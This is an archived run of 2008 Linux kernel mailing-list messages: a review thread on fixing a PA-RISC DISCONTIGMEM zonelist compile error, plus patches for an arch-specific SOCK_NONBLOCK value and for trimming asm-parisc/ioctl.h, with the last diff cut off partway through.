	xolam+DwqpAK4FRLDBuIrY1OpV2t6U53zjFrWnxk1nLuVrfcmL7sLCPu9YGEDiOSwzA
	=
In-Reply-To: <20080506152713.GA5034@csn.ul.ie>
X-Mailer: Evolution 2.12.3 (2.12.3-4.fc8) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:307 gmane.linux.kernel:676976
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/307>

On Tue, 2008-05-06 at 16:27 +0100, Mel Gorman wrote:
> On (06/05/08 16:46), Adrian Bunk didst pronounce:
> > Commit 54a6eb5c4765aa573a030ceeba2c14e3d2ea5706
> > (mm: use two zonelist that are filtered by GFP mask)
> > causes the following build error with CONFIG_DISCONTIGMEM=y
> > on parisc:
> > 
> 
> Thanks Adrian. I don't have a pa-risc cross-compiler and there isn't one
> at the usual source http://userweb.kernel.org/~akpm/cross-compilers but the
> patch below should fix it. Note that this debugging code should be deleted if
> the mm-initialisation-and-debugging framework in -mm is merged to mainline
> as it knows how to print all the zonelists where as the pa-risc equivilant
> misses the GFP_THISNODE lists.
> 
> =====
> Subject: [PATCH] Fix pa-risc DISCONTIGMEM compile breakage
>     
> PA-RISC to aid debugging prints out the zonelists setup by the system. A
> bad call to node_zonelist() breaks at compile-time. This patch fixes it.
> 
> Signed-off-by: Mel Gorman <mel@csn.ul.ie>
> ---
>  arch/parisc/mm/init.c |    2 +-
>  1 file changed, 1 insertion(+), 1 deletion(-)
> 
> diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
> index 1f01284..b0ed709 100644
> --- a/arch/parisc/mm/init.c
> +++ b/arch/parisc/mm/init.c
> @@ -606,7 +606,7 @@ void show_mem(void)
>  		int i, j;
>  
>  		for (i = 0; i < npmem_ranges; i++) {
> -			zl = node_zonelist(i);
> +			zl = node_zonelist(i, 0);
>  			for (j = 0; j < MAX_NR_ZONES; j++) {

This rather doesn't look right.  The intent is for i to iterate over the
ranges (as nodes) and j to iterate over the zones to get the zonelist.
The original variable k was going over the mappings, which you replaced
with for_each_zone_zonelist.  If you use node_zonelist(i, 0) you don't
really look at the actual zones in the map.

Therefore it seems what will give the original functionality back is
actually this:

James

diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index 1f01284..7bc286d 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -602,15 +602,16 @@ void show_mem(void)
 
 #ifdef CONFIG_DISCONTIGMEM
 	{
-		struct zonelist *zl;
 		int i, j;
 
 		for (i = 0; i < npmem_ranges; i++) {
-			zl = node_zonelist(i);
 			for (j = 0; j < MAX_NR_ZONES; j++) {
+				struct zonelist *zl;
 				struct zoneref *z;
 				struct zone *zone;
 
+				zl = NODE_DATA(i)->node_zonelists + j;
+
 				printk("Zone list for zone %d on node %d: ", j, i);
 				for_each_zone_zonelist(zone, z, zl, j)
 					printk("[%d/%s] ", zone_to_nid(zone),


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mel Gorman <mel@csn.ul.ie>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: parisc DISCONTIGMEM compile breakage
Date: Tue, 6 May 2008 22:17:50 +0100
Lines: 98
Approved: news@gmane.org
Message-ID: <20080506211750.GA13214@csn.ul.ie>
References: <20080506134648.GA30082@cs181133002.pp.htv.fi> <20080506152713.GA5034@csn.ul.ie> <1210103927.3057.19.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
X-Trace: ger.gmane.org 1210108689 26103 80.91.229.12 (6 May 2008 21:18:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 6 May 2008 21:18:09 +0000 (UTC)
Cc: Adrian Bunk <bunk@kernel.org>,
	Christoph Lameter <clameter@sgi.com>,
	Lee Schermerhorn <lee.schermerhorn@hp.com>,
	kyle@parisc-linux.org, matthew@wil.cx, grundler@parisc-linux.org,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 06 23:18:43 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JtUYa-0001XO-N0
	for glpp-linux-parisc@gmane.org; Tue, 06 May 2008 23:18:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759799AbYEFVR4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 6 May 2008 17:17:56 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757890AbYEFVR4
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 6 May 2008 17:17:56 -0400
Original-Received: from gir.skynet.ie ([193.1.99.77]:53653 "EHLO gir.skynet.ie"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757527AbYEFVRy (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 6 May 2008 17:17:54 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by gir.skynet.ie (Postfix) with ESMTP id 5D2D11222B;
	Tue,  6 May 2008 22:17:51 +0100 (IST)
X-Virus-Scanned: Debian amavisd-new at gir.skynet.ie
Original-Received: from gir.skynet.ie ([127.0.0.1])
	by localhost (gir.skynet.ie [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id tofVdWPeUn3w; Tue,  6 May 2008 22:17:51 +0100 (IST)
Original-Received: from skynet.skynet.ie (skynet.skynet.ie [193.1.99.74])
	by gir.skynet.ie (Postfix) with ESMTP id 2F9AC121F8;
	Tue,  6 May 2008 22:17:51 +0100 (IST)
Original-Received: by skynet.skynet.ie (Postfix, from userid 2391)
	id 11C405015B; Tue,  6 May 2008 22:17:51 +0100 (IST)
Content-Disposition: inline
In-Reply-To: <1210103927.3057.19.camel@localhost.localdomain>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:308 gmane.linux.kernel:677011
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/308>

On (06/05/08 14:58), James Bottomley didst pronounce:
> On Tue, 2008-05-06 at 16:27 +0100, Mel Gorman wrote:
> > On (06/05/08 16:46), Adrian Bunk didst pronounce:
> > > Commit 54a6eb5c4765aa573a030ceeba2c14e3d2ea5706
> > > (mm: use two zonelist that are filtered by GFP mask)
> > > causes the following build error with CONFIG_DISCONTIGMEM=y
> > > on parisc:
> > > 
> > 
> > Thanks Adrian. I don't have a pa-risc cross-compiler and there isn't one
> > at the usual source http://userweb.kernel.org/~akpm/cross-compilers but the
> > patch below should fix it. Note that this debugging code should be deleted if
> > the mm-initialisation-and-debugging framework in -mm is merged to mainline
> > as it knows how to print all the zonelists where as the pa-risc equivilant
> > misses the GFP_THISNODE lists.
> > 
> > =====
> > Subject: [PATCH] Fix pa-risc DISCONTIGMEM compile breakage
> >     
> > PA-RISC to aid debugging prints out the zonelists setup by the system. A
> > bad call to node_zonelist() breaks at compile-time. This patch fixes it.
> > 
> > Signed-off-by: Mel Gorman <mel@csn.ul.ie>
> > ---
> >  arch/parisc/mm/init.c |    2 +-
> >  1 file changed, 1 insertion(+), 1 deletion(-)
> > 
> > diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
> > index 1f01284..b0ed709 100644
> > --- a/arch/parisc/mm/init.c
> > +++ b/arch/parisc/mm/init.c
> > @@ -606,7 +606,7 @@ void show_mem(void)
> >  		int i, j;
> >  
> >  		for (i = 0; i < npmem_ranges; i++) {
> > -			zl = node_zonelist(i);
> > +			zl = node_zonelist(i, 0);
> >  			for (j = 0; j < MAX_NR_ZONES; j++) {
> 
> This rather doesn't look right.  The intent is for i to iterate over the
> ranges (as nodes) and j to iterate over the zones to get the zonelist.

Yes, that appears to be the original intention.

> The original variable k was going over the mappings, which you replaced
> with for_each_zone_zonelist.  If you use node_zonelist(i, 0) you don't
> really look at the actual zones in the map.
> 

No, but you filter the one list based on the highest zone that can be
accesssed.

> Therefore it seems what will give the original functionality back is
> actually this:
> 

To be fair, a few weeks ago you would have been right. Since then zonelists
have changed though so that there are only two zonelists per node in
git-latest. One which is for general allocations and one for GFP_THISNODE. The
zonelist is filtered based on the GFP flags, hence the iterator. I copied the
parisc code with the compile-fix into mm/page_alloc.c and called it just to
be sure and with qemu, I see

[    0.628960] Zone list for zone 0 on node 0: [0/DMA] 
[    0.628960] Zone list for zone 1 on node 0: [0/Normal] [0/DMA] 
[    0.628960] Zone list for zone 2 on node 0: [0/HighMem] [0/Normal] [0/DMA] 
[    0.628960] Zone list for zone 3 on node 0: [0/Movable] [0/HighMem] [0/Normal] [0/DMA]

which looks right (movablecore was specified hence the existance of the
movable zone).

> <SNIP>
>  			for (j = 0; j < MAX_NR_ZONES; j++) {
> +				struct zonelist *zl;
>  				struct zoneref *z;
>  				struct zone *zone;
>  
> +				zl = NODE_DATA(i)->node_zonelists + j;
> +

This would read past the end of the node_zonelists array which is only
MAX_ZONELISTS (2 for CONFIG_NUMA) in size.

>  				printk("Zone list for zone %d on node %d: ", j, i);
>  				for_each_zone_zonelist(zone, z, zl, j)
>  					printk("[%d/%s] ", zone_to_nid(zone),
> 
> 

-- 
Mel Gorman
Part-time Phd Student                          Linux Technology Center
University of Limerick                         IBM Dublin Software Lab
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: parisc DISCONTIGMEM compile breakage
Date: Tue, 06 May 2008 17:09:10 -0500
Lines: 90
Approved: news@gmane.org
Message-ID: <1210111750.3057.23.camel@localhost.localdomain>
References: <20080506134648.GA30082@cs181133002.pp.htv.fi>
	 <20080506152713.GA5034@csn.ul.ie>
	 <1210103927.3057.19.camel@localhost.localdomain>
	 <20080506211750.GA13214@csn.ul.ie>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1210111792 3397 80.91.229.12 (6 May 2008 22:09:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 6 May 2008 22:09:52 +0000 (UTC)
Cc: Adrian Bunk <bunk@kernel.org>,
	Christoph Lameter <clameter@sgi.com>,
	Lee Schermerhorn <lee.schermerhorn@hp.com>,
	kyle@parisc-linux.org, matthew@wil.cx, grundler@parisc-linux.org,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: Mel Gorman <mel@csn.ul.ie>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 07 00:10:25 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JtVMR-0003zn-6p
	for glpp-linux-parisc@gmane.org; Wed, 07 May 2008 00:10:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752773AbYEFWJV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 6 May 2008 18:09:21 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756254AbYEFWJV
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 6 May 2008 18:09:21 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:55224 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752773AbYEFWJS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 6 May 2008 18:09:18 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 644A2A255;
	Tue,  6 May 2008 17:09:15 -0500 (CDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=2007; t=1210111755; bh=TGxNNtXgVx9H20QmpOgrqEiHXDZcVWaMs0mtB7oqLZ
	8=; l=3569; h=Subject:From:To:Cc:In-Reply-To:References:
	 Content-Type:Date:Message-Id:Mime-Version:
	 Content-Transfer-Encoding; b=MjqxTCkqx4onZa3rOwutMNqOCNygBuQ+mgFUC
	QEt1hfcnposA5d+qA9bCUxtdxNaTO3BmrgpXoRKov89CmLQvEezKQxytv2PrRZ/ij43
	QoDtZNtGFioh1kDqAbFGjqMw+jNcChygsJ1bqFk210KNYXBhJjVUtUcdFXcZcs9/nEg
	=
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 53hqvK0xbqMS; Tue,  6 May 2008 17:09:12 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 738AA843C;
	Tue,  6 May 2008 17:09:11 -0500 (CDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=2007; t=1210111751; bh=TGxNNtXgVx9H20QmpOgrqEiHXDZcVWaMs0mtB7oqLZ
	8=; l=3569; h=Subject:From:To:Cc:In-Reply-To:References:
	 Content-Type:Date:Message-Id:Mime-Version:
	 Content-Transfer-Encoding; b=RJg52sFYVmGPeApX9xUK6dPi4tj9ezLrn7VFj
	JMdi991jeeRNyKwMqcHpW9JEHZXd0cCRq/Dz6Z0gQn44dypjsCPDzp9JzzXLh7z1Afn
	KTgmz+jTqd/y1AgKRVm9hXzDE/hxfFOX6WtTrKC1XoQzqTficPitTEjG6So4NKM9S3U
	=
In-Reply-To: <20080506211750.GA13214@csn.ul.ie>
X-Mailer: Evolution 2.12.3 (2.12.3-4.fc8) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:309 gmane.linux.kernel:677053
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/309>

On Tue, 2008-05-06 at 22:17 +0100, Mel Gorman wrote:
> On (06/05/08 14:58), James Bottomley didst pronounce:
> > On Tue, 2008-05-06 at 16:27 +0100, Mel Gorman wrote:
> > > On (06/05/08 16:46), Adrian Bunk didst pronounce:
> > > > Commit 54a6eb5c4765aa573a030ceeba2c14e3d2ea5706
> > > > (mm: use two zonelist that are filtered by GFP mask)
> > > > causes the following build error with CONFIG_DISCONTIGMEM=y
> > > > on parisc:
> > > > 
> > > 
> > > Thanks Adrian. I don't have a pa-risc cross-compiler and there isn't one
> > > at the usual source http://userweb.kernel.org/~akpm/cross-compilers but the
> > > patch below should fix it. Note that this debugging code should be deleted if
> > > the mm-initialisation-and-debugging framework in -mm is merged to mainline
> > > as it knows how to print all the zonelists where as the pa-risc equivilant
> > > misses the GFP_THISNODE lists.
> > > 
> > > =====
> > > Subject: [PATCH] Fix pa-risc DISCONTIGMEM compile breakage
> > >     
> > > PA-RISC to aid debugging prints out the zonelists setup by the system. A
> > > bad call to node_zonelist() breaks at compile-time. This patch fixes it.
> > > 
> > > Signed-off-by: Mel Gorman <mel@csn.ul.ie>
> > > ---
> > >  arch/parisc/mm/init.c |    2 +-
> > >  1 file changed, 1 insertion(+), 1 deletion(-)
> > > 
> > > diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
> > > index 1f01284..b0ed709 100644
> > > --- a/arch/parisc/mm/init.c
> > > +++ b/arch/parisc/mm/init.c
> > > @@ -606,7 +606,7 @@ void show_mem(void)
> > >  		int i, j;
> > >  
> > >  		for (i = 0; i < npmem_ranges; i++) {
> > > -			zl = node_zonelist(i);
> > > +			zl = node_zonelist(i, 0);
> > >  			for (j = 0; j < MAX_NR_ZONES; j++) {
> > 
> > This rather doesn't look right.  The intent is for i to iterate over the
> > ranges (as nodes) and j to iterate over the zones to get the zonelist.
> 
> Yes, that appears to be the original intention.
> 
> > The original variable k was going over the mappings, which you replaced
> > with for_each_zone_zonelist.  If you use node_zonelist(i, 0) you don't
> > really look at the actual zones in the map.
> > 
> 
> No, but you filter the one list based on the highest zone that can be
> accesssed.
> 
> > Therefore it seems what will give the original functionality back is
> > actually this:
> > 
> 
> To be fair, a few weeks ago you would have been right. Since then zonelists
> have changed though so that there are only two zonelists per node in
> git-latest. One which is for general allocations and one for GFP_THISNODE. The
> zonelist is filtered based on the GFP flags, hence the iterator. I copied the
> parisc code with the compile-fix into mm/page_alloc.c and called it just to
> be sure and with qemu, I see
> 
> [    0.628960] Zone list for zone 0 on node 0: [0/DMA] 
> [    0.628960] Zone list for zone 1 on node 0: [0/Normal] [0/DMA] 
> [    0.628960] Zone list for zone 2 on node 0: [0/HighMem] [0/Normal] [0/DMA] 
> [    0.628960] Zone list for zone 3 on node 0: [0/Movable] [0/HighMem] [0/Normal] [0/DMA]
> 
> which looks right (movablecore was specified hence the existance of the
> movable zone).

Thanks ... I confirmed that your fix does actually work.  Mysteriously,
this is what it produces as output:

Zone list for zone 0 on node 0: [0/Normal] [0/Normal] 
Zone list for zone 1 on node 0: [0/Normal] [0/Normal] 
Zone list for zone 0 on node 1: [0/Normal] [0/Normal] 
Zone list for zone 1 on node 1: [0/Normal] [0/Normal] 

Which is correct

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Drepper <drepper@redhat.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH] flag parameters: arch-specific SOCK_NONBLOCK
Date: Tue, 13 May 2008 00:31:50 -0400
Lines: 91
Approved: news@gmane.org
Message-ID: <200805130431.m4D4Vo5e017311@devserv.devel.redhat.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1210653166 4948 80.91.229.12 (13 May 2008 04:32:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 13 May 2008 04:32:46 +0000 (UTC)
Cc: akpm@linux-foundation.org, torvalds@linux-foundation.org
To: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1757964AbYEMEcJ@vger.kernel.org Tue May 13 06:33:21 2008
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1757964AbYEMEcJ@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JvmCV-0004Mc-8n
	for glk-linux-kernel-3@gmane.org; Tue, 13 May 2008 06:33:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757964AbYEMEcJ (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 13 May 2008 00:32:09 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751566AbYEMEb4
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Tue, 13 May 2008 00:31:56 -0400
Original-Received: from mx1.redhat.com ([66.187.233.31]:48999 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751205AbYEMEbz (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Tue, 13 May 2008 00:31:55 -0400
Original-Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id m4D4Vpom023541;
	Tue, 13 May 2008 00:31:51 -0400
Original-Received: from file.rdu.redhat.com (file.rdu.redhat.com [10.11.255.147])
	by int-mx1.corp.redhat.com (8.13.1/8.13.1) with ESMTP id m4D4VovG001575;
	Tue, 13 May 2008 00:31:50 -0400
Original-Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [10.10.36.72])
	by file.rdu.redhat.com (8.13.1/8.13.1) with ESMTP id m4D4VoVd016990;
	Tue, 13 May 2008 00:31:50 -0400
Original-Received: from devserv.devel.redhat.com (localhost.localdomain [127.0.0.1])
	by devserv.devel.redhat.com (8.12.11.20060308/8.12.11) with ESMTP id m4D4VoH5017313;
	Tue, 13 May 2008 00:31:50 -0400
Original-Received: (from drepper@localhost)
	by devserv.devel.redhat.com (8.12.11.20060308/8.12.11/Submit) id m4D4Vo5e017311;
	Tue, 13 May 2008 00:31:50 -0400
X-Scanned-By: MIMEDefang 2.58 on 172.16.52.254
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:679604 gmane.linux.ports.parisc:310
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/310>

The value of O_NONBLOCK clashes on Alpha dn PARISC with the bits used
for socket types.  Therefore we cannot define SOCK_NONBLOCK as
O_NONBLOCK on these platforms.  This patch adds support for an
arch-specific SOCK_NONBLOCK value which doesn't add costs for
other architectures.

 include/asm-alpha/socket.h  |    5 +++++
 include/asm-parisc/socket.h |    5 +++++
 include/linux/net.h         |    2 ++
 net/socket.c                |    9 +++++++++
 4 files changed, 21 insertions(+)


Signed-off-by: Ulrich Drepper <drepper@redhat.com>

diff --git a/include/asm-alpha/socket.h b/include/asm-alpha/socket.h
index 08c9793..a1057c2 100644
--- a/include/asm-alpha/socket.h
+++ b/include/asm-alpha/socket.h
@@ -62,4 +62,9 @@
 
 #define SO_MARK			36
 
+/* O_NONBLOCK clashes with the bits used for socket types.  Therefore we
+ * have to define SOCK_NONBLOCK to a different value here.
+ */
+#define SOCK_NONBLOCK	0x40000000
+
 #endif /* _ASM_SOCKET_H */
diff --git a/include/asm-parisc/socket.h b/include/asm-parisc/socket.h
index 69a7a0d..fba402c 100644
--- a/include/asm-parisc/socket.h
+++ b/include/asm-parisc/socket.h
@@ -54,4 +54,9 @@
 
 #define SO_MARK			0x401f
 
+/* O_NONBLOCK clashes with the bits used for socket types.  Therefore we
+ * have to define SOCK_NONBLOCK to a different value here.
+ */
+#define SOCK_NONBLOCK   0x40000000
+
 #endif /* _ASM_SOCKET_H */
diff --git a/include/linux/net.h b/include/linux/net.h
index 1b35fd5..dd3b6cd 100644
--- a/include/linux/net.h
+++ b/include/linux/net.h
@@ -102,7 +102,9 @@ enum sock_type {
 
 /* Flags for socket, socketpair, paccept */
 #define SOCK_CLOEXEC	O_CLOEXEC
+#ifndef SOCK_NONBLOCK
 #define SOCK_NONBLOCK	O_NONBLOCK
+#endif
 
 #endif /* ARCH_HAS_SOCKET_TYPES */
 
diff --git a/net/socket.c b/net/socket.c
index 962bf07..5111af1 100644
--- a/net/socket.c
+++ b/net/socket.c
@@ -1231,6 +1231,9 @@ asmlinkage long sys_socket(int family, int type, int protocol)
 		return -EINVAL;
 	type &= SOCK_TYPE_MASK;
 
+	if (SOCK_NONBLOCK != O_NONBLOCK && (flags & SOCK_NONBLOCK))
+		flags = (flags & ~SOCK_NONBLOCK) | O_NONBLOCK;
+
 	retval = sock_create(family, type, protocol, &sock);
 	if (retval < 0)
 		goto out;
@@ -1265,6 +1268,9 @@ asmlinkage long sys_socketpair(int family, int type, int protocol,
 		return -EINVAL;
 	type &= SOCK_TYPE_MASK;
 
+	if (SOCK_NONBLOCK != O_NONBLOCK && (flags & SOCK_NONBLOCK))
+		flags = (flags & ~SOCK_NONBLOCK) | O_NONBLOCK;
+
 	/*
 	 * Obtain the first socket and check if the underlying protocol
 	 * supports the socketpair call.
@@ -1430,6 +1436,9 @@ long do_accept(int fd, struct sockaddr __user *upeer_sockaddr,
 	if (flags & ~(SOCK_CLOEXEC | SOCK_NONBLOCK))
 		return -EINVAL;
 
+	if (SOCK_NONBLOCK != O_NONBLOCK && (flags & SOCK_NONBLOCK))
+		flags = (flags & ~SOCK_NONBLOCK) | O_NONBLOCK;
+
 	sock = sockfd_lookup_light(fd, &err, &fput_needed);
 	if (!sock)
 		goto out;

From - Thu Nov 08 21:02:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Robert P. J. Day" <rpjday@crashcourse.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] PARISC: Remove ioctl.h content picked up from
 <asm-generic/ioctl.h>.
Date: Wed, 14 May 2008 15:14:52 -0400 (EDT)
Lines: 70
Approved: news@gmane.org
Message-ID: <alpine.LFD.1.10.0805141511400.22428@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1210792512 8447 80.91.229.12 (14 May 2008 19:15:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 14 May 2008 19:15:12 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 14 21:15:48 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JwMRy-00024U-4C
	for glpp-linux-parisc@gmane.org; Wed, 14 May 2008 21:15:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757759AbYENTO4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 14 May 2008 15:14:56 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758600AbYENTO4
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 14 May 2008 15:14:56 -0400
Original-Received: from astoria.ccjclearline.com ([64.235.106.9]:41071 "EHLO
	astoria.ccjclearline.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757759AbYENTOz (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 14 May 2008 15:14:55 -0400
Original-Received: from cpe001d60ad7267-cm001225dbafb6.cpe.net.cable.rogers.com ([99.236.100.208] helo=crashcourse.ca)
	by astoria.ccjclearline.com with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.68)
	(envelope-from <rpjday@crashcourse.ca>)
	id 1JwMRC-0006xv-Dr
	for linux-parisc@vger.kernel.org; Wed, 14 May 2008 15:14:54 -0400
X-X-Sender: rpjday@localhost.localdomain
User-Agent: Alpine 1.10 (LFD 962 2008-03-14)
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - astoria.ccjclearline.com
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - crashcourse.ca
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:311
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/311>


Now that <asm-generic/ioctl.h> allows overriding of the most commonly
changed macro values, take advantage of that.

Signed-off-by: Robert P. J. Day <rpjday@crashcourse.ca>

---

  i *think* this leaves an equivalent ioctl.h file, but feel free to
check it carefully and tweak if necessary.

diff --git a/include/asm-parisc/ioctl.h b/include/asm-parisc/ioctl.h
index 68338d2..ec8efa0 100644
--- a/include/asm-parisc/ioctl.h
+++ b/include/asm-parisc/ioctl.h
@@ -32,21 +32,6 @@
  * NOTE: This limits the max parameter size to 16kB -1 !
  */

-#define _IOC_NRBITS	8
-#define _IOC_TYPEBITS	8
-#define _IOC_SIZEBITS	14
-#define _IOC_DIRBITS	2
-
-#define _IOC_NRMASK	((1 << _IOC_NRBITS)-1)
-#define _IOC_TYPEMASK	((1 << _IOC_TYPEBITS)-1)
-#define _IOC_SIZEMASK	((1 << _IOC_SIZEBITS)-1)
-#define _IOC_DIRMASK	((1 << _IOC_DIRBITS)-1)
-
-#define _IOC_NRSHIFT	0
-#define _IOC_TYPESHIFT	(_IOC_NRSHIFT+_IOC_NRBITS)
-#define _IOC_SIZESHIFT	(_IOC_TYPESHIFT+_IOC_TYPEBITS)
